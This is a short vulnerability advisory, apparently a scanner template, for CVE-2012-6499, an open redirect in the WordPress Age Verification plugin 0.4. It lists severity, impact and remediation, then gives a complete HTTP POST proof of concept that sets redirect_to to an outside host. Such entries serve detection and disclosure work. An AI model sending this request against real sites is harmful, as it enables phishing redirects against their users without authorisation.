| Title | WordPress Plugin Age Verification v0.4 - Open Redirect |
|---|---|
| Author | ctflearner |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the installation of malware. |
| Remediation | Update to the latest version of the WordPress Plugin Age Verification or remove the plugin if not needed. |
| CVSS Score | 5.8 |
| EPSS Score | 0.52894 |
| CVE ID | CVE-2012-6499 |
| CWE ID | CWE-20 |
| Tags | cve cve2012 wordpress wp wp-plugin redirect age-verification age_verification_project vuln |
Open redirect vulnerability in age-verification.php in the Age Verification plugin 0.4 and earlier for WordPress allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a URL in the redirect_to parameter.
POST /wp-content/plugins/age-verification/age-verification.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:132.0) Gecko/20100101 Firefox/132.0
Connection: close
Content-Length: 70
Accept-Encoding: gzip
redirect_to=http://www.interact.sh&age_day=1&age_month=1&age_year=1970
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